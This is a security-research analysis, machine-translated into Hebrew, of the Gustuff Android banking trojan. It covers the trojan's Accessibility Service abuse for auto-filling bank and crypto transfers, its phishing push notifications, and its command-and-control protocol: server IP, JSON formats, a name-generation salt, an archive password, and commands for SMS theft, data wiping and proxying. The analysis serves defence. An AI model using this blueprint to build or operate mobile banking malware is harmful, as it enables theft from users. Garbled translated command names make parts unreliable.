ืจืง ืืคื ื ืืื ืืืื Group-IB
ืืืืื ืื ืืชืื ืงืื ืืืื ื ื-Group-IB ืืืื ืคืืกืจื ืืืืงืจ ืฉืื, ืืื ืืืืจ ืืคืืจืื ืขื ืืื Gustuff ืขืืื ืืื ืืกืื ืืช ืฉืื.
ืืืจ ืื ืืืคืฉ ืืืกืืืฃ?
Gustuff ืฉืืื ืืืืจ ืืืฉ ืฉื ืชืืื ืืช ืืืื ืืืช ืขื ืคืื ืงืฆืืืช ืืืืืืืืืช ืืืืืืื. ืืืืจื ืืืคืชื, ืืืจืืืื ื ืืคื ืืืจืกื ืืืฉื ืืืฉืืคืจืช ืฉื ืชืืื ืช ืืืืื ืืช AndyBot, ืฉืืื ื ืืืืืจ 2017 ืชืืงืคืช ืืืคืื ืื ืฉื ืื ืืจืืืื ืืืื ืืช ืืกืฃ ืืืืฆืขืืช ืืคืกื ืืื ืืจื ื ืืืื ืืืชืืื ืืืืฉืืืื ื ืืืืื ืฉื ืื ืงืื ืืืขืจืืืช ืชืฉืืื ืืื ืืืืืืืช ืืืืขืืช. ืืกืืืคืจ ืืืืื ืฉืืืืจ ืืฉืืืจืืช ืฉื Gustuff Bot ืืื 800 ืืืืจ ืืืืืฉ.
ื ืืชืื ืืืื Gustuff ืืจืื ืื ืืืจืืืื ื ืขืฉืื ืืืชืืงื ืืืงืืืืช ืืืฉืชืืฉืื ืืืืฉืืืื ื ืืืืื ืฉื ืืื ืงืื ืืืืืืื ืืืืชืจ, ืืื ืื ืง ืืืฃ ืืืจืืงื, ืื ืง ืกืงืืืื ื, JPMorgan, Wells Fargo, Capital One, TD Bank, PNC Bank, ืืื ืื ืืจื ืงื ืงืจืืคืื. ืืจื ืง ืืืืงืืื, BitPay, Cryptopay, Coinbase ืืื'.
ื ืืฆืจ ืืืงืืจ ืืืจืืืื ื ืื ืงืื ืงืืืกื, ืืืจืกื ืื ืืืืืช Gustuff ืืจืืื ืืฉืืขืืชืืช ืืช ืจืฉืืืช ืืืืจืืช ืืคืืื ืฆืืืืืืช ืืืชืงืคื. ืื ืืกืฃ ืืืืฉืืื ืื ืืจืืืื ืืื ืงืื, ืืืจืืช ืคืื ืืง ืืฉืืจืืชื ืงืจืืคืื, Gustuff ืืืืขื ืืืฉืชืืฉื ืืคืืืงืฆืืืช ืืจืงืืคืืืืก, ืื ืืืืช ืืงืืื ืืช, ืืขืจืืืช ืชืฉืืื ืืืก'ืจืื ืืืืืื. ืืคืจื, PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut ืืืืจืื.
ื ืงืืืช ืื ืืกื: ืืืฉืื ืืืืืงื ืืืื ืืช
Gustuff ืืืืคืืื ืืืงืืืจ ื"ืงืืืกื" ืฉื ืืืืจื ืืกืืืจืืคืื ืื ืฉื ืื ืืจืืืื ืืืืฆืขืืช ืืืืืจ SMS ืขื ืงืืฉืืจืื ื-APKs. ืืืฉืจ ืืืฉืืจ ืื ืืจืืืื ื ืืืข ืืืจืืืื ื ืืคืงืืืช ืืฉืจืช, Gustuff ืขืฉืื ืืืชืคืฉื ืขืื ืืืชืจ ืืจื ืืกื ืื ืชืื ืื ืฉื ืื ืฉื ืืงืฉืจ ืฉื ืืืืคืื ืื ืืืข ืื ืืจื ืืกื ืื ืชืื ืื ืฉื ืืฉืจืช. ืืคืื ืงืฆืืื ืืืืช ืฉื Gustuff ืืืืขืืช ืืืืืงื ืืืื ืืช ืืืืืืื ืืจืื ืฉื ืืขืกืง ืฉื ืืืคืขืืืื ืฉืื - ืืฉ ืื ืคืื ืงืฆืืืช "ืืืืื ืืืืืืื" ืืืืืืืช ืืืืฉืืื ืื ืงืืืช ื ืืืืื ืืืืืืืืื ืืืจื ืงื ืงืจืืคืื, ืืืืคืฉืจืช ืื ืืืืืฅ ืืืืืืื ืืช ืื ืืืช ืืืกืฃ.
ืืืงืจ ืขื ืืืจืืืื ื ืืจืื ืฉืคืื ืงืฆืืืช ืืืืืื ืืืืืืืื ืืืืืขื ืื ืืืืฆืขืืช ืฉืืจืืช ืื ืืืฉืืช, ืฉืืจืืช ืืื ืฉืื ืขื ืืืืืืืืืช. Gustuff ืืื ื ืืืจืืืื ื ืืจืืฉืื ืฉืขืืงืฃ ืืืฆืืื ืืช ืืืื ื ืืคื ื ืืื ืืจืืงืฆืื ืขื ืจืืืื ืืืื ืืช ืฉื ืืืฉืืืื ืืืจืื ืืืฉืชืืฉืื ืืฉืืจืืช ืื ืืจืืืื ืื. ืขื ืืืช, ืืฉืืืืฉ ืืฉืืจืืช ื ืืืฉืืช ืืฉืืืื ืขื ืืืืื ืืจืื ืืื ืขืืืื ื ืืืจ ืืืื.
ืืืืจ ืืืืจืื ืืืืคืื ืฉื ืืงืืจืื, Gustuff, ืืืืฆืขืืช ืฉืืจืืช ืื ืืืฉืืช, ืืกืืืืช ืืืฆืืจ ืืื ืืจืืงืฆืื ืขื ืจืืืื ืืืื ืืช ืฉื ืืืฉืืืื ืืืจืื (ืื ืงืืืช, ืืืืขืืช ืงืจืืคืืืืจืคืืื, ืืื ืื ืืืฉืืืื ืืงื ืืืช ืืงืืื ืืช, ืืืืขืืช ืืื'), ืืืฆืข ืืช ืืคืขืืืืช ืืืจืืฉืืช ืืชืืงืคืื . ืืืืืื, ืืคืงืืืช ืืฉืจืช, ืกืืก ืืจืืืื ื ืืืื ืืืืืฅ ืขื ืืคืชืืจืื ืืืฉื ืืช ืืช ืืขืจืืื ืฉื ืฉืืืช ืืงืกื ืืืืฉืืื ืื ืงืืืช. ืฉืืืืฉ ืืื ืื ืื ืฉืืจืืช ืื ืืืฉืืช ืืืคืฉืจ ืืกืืก ืืืจืืืื ื ืืขืงืืฃ ืืช ืื ืื ืื ื ืืืืืื ืืื ืืฉืชืืฉื ืืื ืงืื ืืื ืืืชืืืื ืขื ืกืืกืื ืืจืืืื ืืื ื ืืืืื ืืืืืจ ืืงืืื, ืืื ืื ืฉืื ืืืื ืืืืื ืืืช ืืืืืื ืืืืืฉืืช ืขื ืืื ืืืื ืืืจืกืืืช ืืืฉืืช ืฉื ืืขืจืืช ืืืคืขืื ืื ืืจืืืื. ืืคืืื, Gustuff "ืืืืข ืืืฆื" ืืืฉืืืช ืืช ืืื ืช Google Protect: ืืคื ืืืืืจ, ืคืื ืงืฆืื ืื ืคืืขืืช ื-70% ืืืืงืจืื.
Gustuff ืืืื ืื ืืืฆืื ืืชืจืืืช PUSH ืืืืืคืืช ืขื ืกืืืื ืฉื ืืืฉืืืื ืืืืืืืืื ืื ืืื. ืืืฉืชืืฉ ืืืืฅ ืขื ืืืืขืช ื-PUSH ืืจืืื ืืืื ืคืืฉืื ื ืฉืืืืจื ืืืฉืจืช, ืฉื ืืื ืืืื ืืช ื ืชืื ื ืืจืืืก ืืื ืง ืื ืืจื ืง ืืงืจืืคืื ืืืืืงืฉ. ืืชืจืืืฉ ืืืจ ืฉื Gustuff, ืืืคืืืงืฆืื ืฉืืฉืื ืืืฆืื ืืืืขืช ื-PUSH ื ืคืชืืช. ืืืงืจื ืื, ืืชืืื ื ืืืืื ืืช, ืขื ืคื ืคืงืืื ืืืฉืจืช ืืจื ืฉืืจืืช ืื ืืืฉืืช, ืืืืื ืืืื ืืช ืฉืืืช ืืืืคืก ืฉื ืืงืฉื ืื ืงืืืช ืืขืกืงืช ืืื ืื.
ืืคืื ืงืฆืืื ืืืืช ืฉื Gustuff ืืืืืช ืื ืฉืืืืช ืืืืข ืขื ืืืฉืืจ ื ืืืข ืืฉืจืช, ืืืืืืช ืืงืจืื/ืืฉืืื ืืืืขืืช SMS, ืฉืืืืช ืืงืฉืืช USSD, ืืคืขืืช SOCKS5 Proxy, ืืขืงื ืืืจ ืงืืฉืืจ, ืฉืืืืช ืงืืฆืื (ืืืื ืกืจืืงืืช ืชืืื ืืช ืฉื ืืกืืืื, ืฆืืืืื ืืกื, ืฆืืืืืื) ื- ืฉืจืช, ืืคืก ืืช ืืืืฉืืจ ืืืืืจืืช ืืืฆืจื.
ื ืืชืื ืชืืื ืืช ืืืื ืืืช
ืืคื ื ืืชืงื ืช ืืคืืืงืฆืื ืืืื ืืช, ืืขืจืืช ืืืคืขืื ืื ืืจืืืื ืืฆืืื ืืืฉืชืืฉ ืืืื ืืืืื ืจืฉืืื ืฉื ืืืืืืช ืฉืืืงืฉื ืขื ืืื Gustuff:
ืืืคืืืงืฆืื ืชืืชืงื ืจืง ืืืืจ ืงืืืช ืืกืืืช ืืืฉืชืืฉ. ืืืืจ ืืคืขืืช ืืืคืืืงืฆืื, ืืืจืืืื ื ืืจืื ืืืฉืชืืฉ ืืืื:
ืืืืจ ืืื ืืื ืืกืืจ ืืช ืืกืื ืฉืื.
Gustuff ื ืืจื, ืืืืจื ืืืืืจ, ืขื ืืื ืืืจื ื-FTT. ืืืืจ ืืืคืขืื, ืืืืฉืื ืืืฆืจ ืืขืช ืืขืช ืงืฉืจ ืขื ืฉืจืช CnC ืืื ืืงืื ืคืงืืืืช. ืืกืคืจ ืงืืฆืื ืฉืืืงื ื ืืฉืชืืฉื ืืืชืืืช IP ืืฉืจืช ืืืงืจื 88.99.171[.]105 (ืืืื ื ืกืื ืืืชื ื <%CnC%>).
ืืืืจ ืืืฉืงื, ืืชืืื ืืช ืืชืืืื ืืฉืืื ืืืืขืืช ืืฉืจืช http://<%CnC%>/api/v1/get.php.
ืืชืืืื ืฆืคืืื ืืืืืช JSON ืืคืืจืื ืืื:
{
"results" : "OK",
"command":{
"id": "<%id%>",
"command":"<%command%>",
"timestamp":"<%Server Timestamp%>",
"params":{
<%Command parameters as JSON%>
},
},
}
ืืื ืคืขื ืฉื ืืืฉืื ืืืคืืืงืฆืื, ืืื ืฉืืืืช ืืืืข ืขื ืืืืฉืืจ ืื ืืืข. ืคืืจืื ืืืืืขื ืืืฆื ืืืื. ืจืืื ืืฆืืื ืื ืืฉืืืช ืืื, ื ืืกืฃ, ืืคืืืงืฆืืืช ะธ ืจืฉืืช โ ืืืคืฆืืื ืื ืืืืฉืื ืจืง ืืืงืจื ืฉื ืคืงืืืช ืืงืฉื ื-CnC.
{
"info":
{
"info":
{
"cell":<%Sim operator name%>,
"country":<%Country ISO%>,
"imei":<%IMEI%>,
"number":<%Phone number%>,
"line1Number":<%Phone number%>,
"advertisementId":<%ID%>
},
"state":
{
"admin":<%Has admin rights%>,
"source":<%String%>,
"needPermissions":<%Application needs permissions%>,
"accesByName":<%Boolean%>,
"accesByService":<%Boolean%>,
"safetyNet":<%String%>,
"defaultSmsApp":<%Default Sms Application%>,
"isDefaultSmsApp":<%Current application is Default Sms Application%>,
"dateTime":<%Current date time%>,
"batteryLevel":<%Battery level%>
},
"socks":
{
"id":<%Proxy module ID%>,
"enabled":<%Is enabled%>,
"active":<%Is active%>
},
"version":
{
"versionName":<%Package Version Name%>,
"versionCode":<%Package Version Code%>,
"lastUpdateTime":<%Package Last Update Time%>,
"tag":<%Tag, default value: "TAG"%>,
"targetSdkVersion":<%Target Sdk Version%>,
"buildConfigTimestamp":1541309066721
},
},
"full":
{
"model":<%Device Model%>,
"localeCountry":<%Country%>,
"localeLang":<%Locale language%>,
"accounts":<%JSON array, contains from "name" and "type" of accounts%>,
"lockType":<%Type of lockscreen password%>
},
"extra":
{
"serial":<%Build serial number%>,
"board":<%Build Board%>,
"brand":<%Build Brand%>,
"user":<%Build User%>,
"device":<%Build Device%>,
"display":<%Build Display%>,
"id":<%Build ID%>,
"manufacturer":<%Build manufacturer%>,
"model":<%Build model%>,
"product":<%Build product%>,
"tags":<%Build tags%>,
"type":<%Build type%>,
"imei":<%imei%>,
"imsi":<%imsi%>,
"line1number":<%phonenumber%>,
"iccid":<%Sim serial number%>,
"mcc":<%Mobile country code of operator%>,
"mnc":<%Mobile network codeof operator%>,
"cellid":<%GSM-data%>,
"lac":<%GSM-data%>,
"androidid":<%Android Id%>,
"ssid":<%Wi-Fi SSID%>
},
"apps":{<%List of installed applications%>},
"permission":<%List of granted permissions%>
}
ืืืกืื ื ืชืื ื ืชืฆืืจื
Gustuff ืืืืกื ืืืืข ืืฉืื ืืืืื ื ืชืคืขืืืืช ืืงืืืฅ ืืขืืคืืช. ืฉื ืืงืืืฅ, ืืื ืื ืฉืืืช ืืคืจืืืจืื ืฉืื, ืื ืชืืฆืื ืฉื ืืืฉืื ืกืืื MD5 ืืืืืจืืืช 15413090667214.6.1<%name%>ืืืคื <%name%> - ืฉื-ืขืจื ืจืืฉืื ื. ืคืจืฉื ืืช ืคืืืชืื ืืคืื ืงืฆืืืช ืืฆืืจืช ืืฉื:
nameGenerator(input):
output = md5("15413090667214.6.1" + input)
ืืืืฉื ื ืกืื ืืืชื ื ืฉื ืืืืื (ืงืื).
ืื ืฉื ืืงืืืฅ ืืจืืฉืื ืืื: nameGenerator("API_SERVER_LIST"), ืืื ืืืื ืขืจืืื ืขื ืืฉืืืช ืืืืื:
ืฉื ืืฉืชื ื | ืขืจื |
---|---|
nameGenerator("API_SERVER_LIST") | ืืืื ืจืฉืืื ืฉื ืืชืืืืช CnC ืืฆืืจื ืฉื ืืขืจื. |
nameGenerator("API_SERVER_URL") | ืืืื ืืช ืืชืืืช ื-CnC. |
nameGenerator("SMS_UPLOAD") | ืืืื ืืืืืจ ืืืจืืจืช ืืืื. ืื ืืืื ืืืืืจ, ืฉืืื ืืืืขืืช SMS ื-CnC. |
nameGenerator("SMS_ROOT_NUMBER") | ืืกืคืจ ืืืคืื ืฉืืืื ืืืฉืืื ืืืืขืืช SMS ืฉืืชืงืืื ืืืืฉืืจ ืื ืืืข. ืืจืืจืช ืืืืื ืืื ืจืืง. |
nameGenerator("SMS_ROOT_NUMBER_RESEND") | ืืืื ื ืืืง ืืืจืืจืช ืืืื. ืื ืืืชืงื, ืืืฉืจ ืืืฉืืจ ื ืืืข ืืงืื ืืืืขืช SMS, ืืื ืืืฉืื ืืืกืคืจ ืืฉืืจืฉ. |
nameGenerator("DEFAULT_APP_SMS") | ืืืื ื ืืืง ืืืจืืจืช ืืืื. ืื ืืื ืื ืืืืืจ, ืืืคืืืงืฆืื ืชืขืื ืืืืขืืช SMS ื ืื ืกืืช. |
nameGenerator("DEFAULT_ADMIN") | ืืืื ื ืืืง ืืืจืืจืช ืืืื. ืื ืืืื ืืืืืจ, ืืืคืืืงืฆืื ืืฉ ืืืืืืช ืื ืื. |
nameGenerator("DEFAULT_ACCESSIBILITY") | ืืืื ื ืืืง ืืืจืืจืช ืืืื. ืื ืืืื ืืืืืจ, ืฉืืจืืช ืืืฉืชืืฉ ืืฉืืจืืช ืื ืืืฉืืช ืคืืขื. |
nameGenerator("APPS_CONFIG") | ืืืืืืงื JSON ืืืืื ืจืฉืืื ืฉื ืคืขืืืืช ืฉืืฉ ืืืฆืข ืืืฉืจ ืืืคืขื ืืืจืืข ื ืืืฉืืช ืืืฉืืื ืืืคืืืงืฆืื ืกืคืฆืืคืืช. |
nameGenerator("APPS_INSTALLED") | ืืืืกื ืจืฉืืื ืฉื ืืืฉืืืื ืืืืชืงื ืื ืืืืฉืืจ. |
nameGenerator("IS_FIST_RUN") | ืืืื ืืชืืคืก ืืืชืืื ืืจืืฉืื ื. |
nameGenerator("UNIQUE_ID") | ืืืื ืืืื ืืืืืื. ื ืืฆืจ ืืืฉืจ ืืืื ืืืคืขื ืืคืขื ืืจืืฉืื ื. |
ืืืืื ืืขืืืื ืคืงืืืืช ืืืฉืจืช
ืืืคืืืงืฆืื ืืืืกื ืช ืืช ืืืชืืืืช ืฉื ืฉืจืชื CnC ืืฆืืจื ืฉื ืืขืจื ืืงืืื ืขื ืืื ืืกืืก ืืกืืก ืฉืืจืืช. ื ืืชื ืืฉื ืืช ืืช ืจืฉืืืช ืฉืจืชื ื-CnC ืขื ืงืืืช ืืคืงืืื ืืืชืืืื, ืืืืงืจื ืื ืืืชืืืืช ืืืืืกื ื ืืงืืืฅ ืืขืืคืืช.
ืืชืืืื ืืืงืฉื, ืืฉืจืช ืฉืืื ืคืงืืื ืืืคืืืงืฆืื. ืจืืื ืืฆืืื ืื ืคืงืืืืช ืืคืจืืืจืื ืืืฆืืื ืืคืืจืื JSON. ืืืคืืืงืฆืื ืืืืื ืืขืื ืืช ืืคืงืืืืช ืืืืืช:
ืงืืืฆื | ืชืืืืจ |
---|---|
ืงืืืืืืชืื | ืืชืื ืืฉืืื ืืืืขืืช SMS ืฉืืชืงืืื ืขื ืืื ืืืืฉืืจ ืื ืืืข ืืฉืจืช CnC. |
ืงืืืื ืขืฆืืจ | ืืคืกืง ืืฉืืื ืืืืขืืช SMS ืฉืืชืงืืื ืขื ืืื ืืืืฉืืจ ืื ืืืข ืืฉืจืช CnC. |
ussdRun | ืืฆืข ืืงืฉืช USSD. ืืืกืคืจ ืฉืืืื ืืชื ืฆืจืื ืืืฆืข ืืงืฉืช USSD ื ืืฆื ืืฉืื "ืืกืคืจ" ืฉื JSON. |
ืฉืื ืืกืจืื | ืฉืื ืืืืขืช SMS ืืืช (ืืืืืช ืืฆืืจื, ืืืืืขื "ืืคืืฆืืช" ืืืืงืื). ืืคืจืืืจ, ืืคืงืืื ืืืงืืช ืืืืืืงื JSON ืืืืื ืืช ืืฉืืืช "to" - ืืกืคืจ ืืืขื ื-"body" - ืืืฃ ืืืืืขื. |
sendSmsAb | ืฉืื ืืืืขืืช SMS (ืืืืืช ืืฆืืจื, ืืืืืขื "ืืคืืฆืืช" ืืืืงืื) ืืื ืื ืฉื ืืฆื ืืจืฉืืืช ืื ืฉื ืืงืฉืจ ืฉื ืืืืฉืืจ ืื ืืืข. ืืืจืืื ืืื ืฉืืืืช ืืืืขืืช ืืื 10 ืฉื ืืืช. ืืืฃ ืืืืืขื ื ืืฆื ืืฉืื JSON "body" |
sendSmsMass | ืฉืื ืืืืขืืช SMS (ืืืืืช ืืฆืืจื, ืืืืืขื "ืืคืืฆืืช" ืืืืงืื) ืืื ืฉื ืืงืฉืจ ืืืฆืืื ืื ืืคืจืืืจื ืืคืงืืื. ืืืจืืื ืืื ืฉืืืืช ืืืืขืืช ืืื 10 ืฉื ืืืช. ืืคืจืืืจ, ืืคืงืืื ืืืงืืช ืืขืจื JSON (ืฉืื "sms"), ืฉืืจืืืืื ืฉืื ืืืืืื ืืช ืืฉืืืช "to" - ืืกืคืจ ืืืขื ื"ืืืฃ" - ืืืฃ ืืืืืขื. |
changeServer | ืคืงืืื ืื ืืืืื ืืงืืช ืขืจื ืขื ืืืคืชื "url" ืืคืจืืืจ - ืืื ืืืื ืืฉื ื ืืช ืืขืจื ืฉื nameGenerator("SERVER_URL"), ืื "ืืขืจื" - ืืื ืืืื ืืืชืื ืืช ืืืขืจื ื-nameGenerator ("API_SERVER_LIST"). ืืคืืื, ืืืคืืืงืฆืื ืืฉื ื ืืช ืืืชืืืช ืฉื ืฉืจืชื ื-CnC. |
adminNumber | ืืคืงืืื ื ืืขืื ืืขืืื ืขื ืืกืคืจ ืฉืืจืฉ. ืืคืงืืื ืืงืืืช ืืืืืืงื JSON ืขื ืืคืจืืืจืื ืืืืื: "number" - ืฉื ื ืฉืGenerator("ROOT_NUMBER") ืืขืจื ืฉืืชืงืื, "ืฉืื ืืืืฉ" - ืฉื ื ืฉืGenerator("SMS_ROOT_NUMBER_RESEND"), "sendId" - ืฉืื ื-nameGenerator("ROOT_NUMBER" ) ืืืื ืืืืืื. |
ืขืืื ืืืืข | ืฉืื ืืืืข ืขื ืืืืฉืืจ ืื ืืืข ืืฉืจืช. |
wipeData | ืืคืงืืื ื ืืขืื ืืืืืง ื ืชืื ื ืืฉืชืืฉ. ืชืืื ืืืืื ืฉื ืืืคืืืงืฆืื ืืืฉืงื, ืื ืฉืื ืชืื ืื ื ืืืงืื ืืืืืืื ืขื ืืชืืื ืืืืฉ ืฉื ืืืืฉืืจ (ืืฉืชืืฉ ืจืืฉื), ืื ืฉืจืง ื ืชืื ื ืืฉืชืืฉ ื ืืืงืื (ืืฉืชืืฉ ืืฉื ื). |
socksStart | ืืคืขื ืืช ืืืืื ื-Proxy. ืคืขืืืช ืืืืืื ืืชืืืจืช ืืกืขืืฃ ื ืคืจื. |
ืืจืืืื ืกืืืค | ืขืฆืืจ ืืช ืืืืื ื-Proxy. |
openLink | ืขืงืื ืืืจ ืืงืืฉืืจ. ืืงืืฉืืจ ืืืืงื ืืคืจืืืจ JSON ืืชืืช ืืืคืชื "url". "android.intent.action.VIEW" ืืฉืืฉ ืืคืชืืืช ืืงืืฉืืจ. |
uploadAllSms | ืฉืื ืืช ืื ืืืืขืืช ื-SMS ืฉืืืืฉืืจ ืงืืื ืืฉืจืช. |
ืืขืื ืืช ืื ืืชืืื ืืช | ืฉืื ืชืืื ืืช ืืืืฉืืจ ื ืืืข ืืืชืืืช URL. ืืชืืืช ืืืชืจ ืืืืขื ืืคืจืืืจ. |
ืืขืื ืงืืืฅ | ืฉืื ืงืืืฅ ืืืชืืืช URL ืืืืฉืืจ ื ืืืข. ืืชืืืช ืืืชืจ ืืืืขื ืืคืจืืืจ. |
ืืขืื ืืกืคืจื ืืืคืื | ืฉืื ืืกืคืจื ืืืคืื ืืจืฉืืืช ืื ืฉื ืืงืฉืจ ืฉืื ืืฉืจืช. ืื ืขืจื ืืืืืืงื JSON ืขื ืืืคืชื "ab" ืืชืงืื ืืคืจืืืจ, ืืืคืืืงืฆืื ืืงืืืช ืจืฉืืื ืฉื ืื ืฉื ืงืฉืจ ืืกืคืจ ืืืืคืื ืื. ืื ืืืืืืงื JSON ืขื ืืืคืชื "sms" ืืชืงืื ืืคืจืืืจ, ืืืคืืืงืฆืื ืงืืจืืช ืืช ืจืฉืืืช ืื ืฉื ืืงืฉืจ ืืฉืืืื ืืืืขืืช ื-SMS. |
changeArchive | ืืืคืืืงืฆืื ืืืจืืื ืืช ืืงืืืฅ ืืืืชืืืช ืฉืืืืขื ืืคืจืืืจ ืืืืฆืขืืช ืืงืฉ "url". ืืงืืืฅ ืฉืืืจื ื ืฉืืจ ืืฉื "archive.zip". ืืืืจ ืืื, ืืืืฉืื ืืคืชื ืืช ืืงืืืฅ, ืืืคืฆืืื ืื ืืืืฆืขืืช ืกืืกืืช ืืืจืืืื "b5jXh37gxgHBrZhQ4j3D". ืืงืืฆืื ืฉื ืคืจืื ื ืฉืืจืื ืืกืคืจืืืช [ืืืกืื ืืืฆืื ื]/hgps. ืืกืคืจืืื ืื, ืืืคืืืงืฆืื ืืืืกื ืช ืืืืคื ืืื ืืจื ื (ืืชืืืจ ืืืื). |
ืคืขืืืืช | ืืคืงืืื ื ืืขืื ืืขืืื ืขื Action Service, ืืืชืืืจ ืืกืขืืฃ ื ืคืจื. |
ืืืื | ืื ืขืืฉื ืืืจ. |
ืืืืจืื | ืืคืงืืื ื ืืขืื ืืืืจืื ืงืืืฅ ืืฉืจืช ืืจืืืง ืืืฉืืืจ ืืืชื ืืกืคืจืืืช "ืืืจืืืช". ืืชืืืช ื-URL ืืฉื ืืงืืืฅ ืืืืขืื ืืคืจืืืจ, ืฉืืืช ืืืืืืืงื ืืคืจืืืจ JSON, ืืืชืืื: "url" ื-"fileName". |
ืืืกืืจ | ืืกืืจ ืงืืืฅ ืืืกืคืจืืื "ืืืจืืืช". ืฉื ืืงืืืฅ ืืืืข ืืคืจืืืจ JSON ืขื ืืงืฉ "fileName". ืฉื ืืงืืืฅ ืืกืื ืืจืื ืืื "tmp.apk". |
ืืืืขื | ืืฆื ืืชืจืื ืขื ืืงืกืืื ืฉื ืชืืืืจ ืืืืชืจืช ืฉืืืืืจื ืขื ืืื ืฉืจืช ืื ืืืื. |
ืคืืจืื ืคืงืืื ืืืืขื:
{
"results" : "OK",
"command":{
"id": <%id%>,
"command":"notification",
"timestamp":<%Server Timestamp%>,
"params":{
"openApp":<%Open original app or not%>,
"array":[
{"title":<%Title text%>,
"desc":<%Description text%>,
"app":<%Application name%>}
]
},
},
}
ืืืืืขื ืฉื ืืฆืจื ืขื ืืื ืืงืืืฅ ืื ืืงืจ ื ืจืืืช ืืื ืืืืืขืืช ืฉื ืืฆืจื ืขื ืืื ืืืคืืืงืฆืื ืฉืฆืืื ื ืืฉืื ืืืคืืืงืฆืื. ืื ืขืจื ืืฉืื ืืคืืืงืฆืื ืคืชืืื - ื ืืื, ืืืฉืจ ื ืคืชืืช ืืืืขื, ืืืคืืืงืฆืื ืืืฆืืื ืช ืืฉืื ืืืคืขืืช ืืืคืืืงืฆืื. ืื ืขืจื ืืฉืื ืืคืืืงืฆืื ืคืชืืื - ืฉืงืจ, ืื ืื:
- ื ืคืชื ืืืื ืืืื, ืฉืชืืื ื ืืืจืืืื ืืืกืคืจืืื <%ืืืกืื ืืืฆืื ื%>/hgps/<%filename%>
- ื ืคืชื ืืืื ืคืืฉืื ื, ืฉืชืืื ื ืืืจืืืื ืืืฉืจืช <%url%>?id=<%Bot id%>&app=<%Application name%>
- ื ืคืชื ืืืื ืืืื, ืืืกืืื ืฉื ืืจืืืก Google Play, ืขื ืืคืฉืจืืช ืืืืื ืคืจืื ืืจืืืก.
ืืืคืืืงืฆืื ืฉืืืืช ืืช ืืชืืฆืื ืฉื ืื ืคืงืืื ืื <%CnC%>set_state.php ืืืืืืืงื JSON ืืคืืจืื ืืื:
{
"command":
{
"command":<%command%>,
"id":<%command_id%>,
"state":<%command_state%>
}
"id":<%bot_id%>
}
ActionsService
ืจืฉืืืช ืืคืงืืืืช ืฉืืืคืืืงืฆืื ืืขืืืช ืืืืืช ืคืขืืื. ืืืฉืจ ืืชืงืืืช ืคืงืืื, ืืืืื ืขืืืื ืืคืงืืืืช ื ืืืฉ ืืฉืืจืืช ืื ืืื ืืืฆืข ืืช ืืคืงืืื ืืืืจืืืช. ืืฉืืจืืช ืืงืื ืืืืืืงื JSON ืืคืจืืืจ. ืืฉืืจืืช ืืืื ืืืฆืข ืืช ืืคืงืืืืช ืืืืืช:
1. PARAMS_ACTION - ืืขืช ืงืืืช ืคืงืืื ืืื, ืืฉืืจืืช ืืงืื ืชืืืื ืืคืจืืืจ JSON ืืช ืืขืจื ืฉื ืืคืชื Type, ืฉืืืื ืืืืืช ืืืืงืื:
- serviceInfo - ืคืงืืืช ืืืฉื ื ืืงืืืช ืืช ืืขืจื ืืคื ืืคืชื ืืคืจืืืจ JSON includeNotImportant. ืื ืืืื ืืื True, ืืืคืืืงืฆืื ืืืืืจื ืืช ืืืื FLAG_ISOLATED_PROCESS ืืฉืืจืืช ืืืฉืชืืฉ ืืฉืืจืืช ืื ืืืฉืืช. ืื ืืฉืืจืืช ืืืฉืง ืืชืืืื ื ืคืจื.
- ืฉืืจืฉ - ืงืื ืืฉืื ืืฉืจืช ืืืืข ืขื ืืืืื ืฉื ืืฆื ืืขืช ืืคืืงืืก. ืืืคืืืงืฆืื ืืฉืืื ืืืืข ืืืืฆืขืืช ืืืืืงื AccessibilityNodeInfo.
- ืื ืื - ืืงืฉ ืืืืืืช ืื ืื.
- ืขืืืื - ืืืฉืขืืช ืืช ActionsService ืืืกืคืจ ืืืืคืืืช ืฉืฆืืื ืืคืจืืืจ ืขืืืจ ืืคืชื "ื ืชืื ืื".
- ืืืื ืืช - ืฉืื ืจืฉืืื ืฉื ืืืื ืืช ืืืืืื ืืืฉืชืืฉ.
- ืืืชืงืื - ืืชืงื ืืช ืืืคืืืงืฆืื ืืืืฉืืจ ืื ืืืข. ืฉื ืืืืืช ืืืจืืืื ื ืืฆื ืืืงืฉ "ืฉื ืงืืืฅ". ืืืจืืืื ืขืฆืื ืืืืงื ืืกืคืจืืืช ืืืืจืืืช.
- ืืืึนืึผึธืึดื - ืคืงืืืช ืืืฉื ื ื ืืขืื ืื ืืื ืืืืืื ืื ืืืื:
- ืืชืคืจืื ืืืืืจืืช ืืืืืจืืช
- ืืืืจื
- ืืืช
- ืืืชืจืืืช
- ืืืืื ืืืืฉืืืื ืฉื ืคืชื ืืืืจืื ื
- ืืฉืืจ - ืืคืขื ืืช ืืืคืืืงืฆืื. ืฉื ืืืคืืืงืฆืื ืืืืข ืืคืจืืืจ ืืคื ืืคืชื ื ืชืื ืื.
- ืฆืืืืื - ืฉื ื ืืช ืืฆื ืืงืื ืืฉืงื.
- ืืคืชืื - ืืืืืง ืืช ืืชืืืจื ืืืืืจืืช ืฉื ืืืกื ืืืืงืืืช ืืืืืจืืช ืืืื. ืืืคืืืงืฆืื ืืืฆืขืช ืคืขืืื ืื ืืืืฆืขืืช WakeLock, ืืืฆืืื ืช ืืช ืืืืจืืืช [ืชืืืืช ืืืคืืืงืฆืื]:INFO ืืชื
- permissionOverlay โ ืืคืื ืงืฆืื ืื ืืืืฉืืช (ืืชืืืื ืืืืฆืืข ืืคืงืืื ืืื {"message":"Not support"} ืื {"message":"low sdk"})
- ืืืืื โ ืืคืื ืงืฆืื ืืื ื ืืืืฉืืช (ืืชืืืื ืืืืฆืืข ืืคืงืืื ืืื {"message":"Not support"}ืื {"message":"Low API"})
- ืืจืฉืืืช - ืคืงืืื ืื ื ืืืฆื ืืื ืืืงืฉ ืืจืฉืืืช ืขืืืจ ืืืืฉืื. ืขื ืืืช, ืคืื ืงืฆืืืช ืืฉืืืืชื ืืื ื ืืืืฉืืช, ืื ืฉืืคืงืืื ืืกืจืช ืืฉืืขืืช. ืจืฉืืืช ืืืืืืืช ืืืืืงืฉืืช ืืืืขื ืืืขืจื JSON ืขื ืืงืฉ "ืืจืฉืืืช". ืจืฉืืื ืกืื ืืจืืืช:
- android.permission.READ_PHONE_STATE
- android.permission.READ_CONTACTS
- android.permission.CALL_PHONE
- android.permission.RECEIVE_SMS
- android.permission.SEND_SMS
- android.permission.READ_SMS
- android.permission.READ_EXTERNAL_STORAGE
- android.permission.WRITE_EXTERNAL_STORAGE
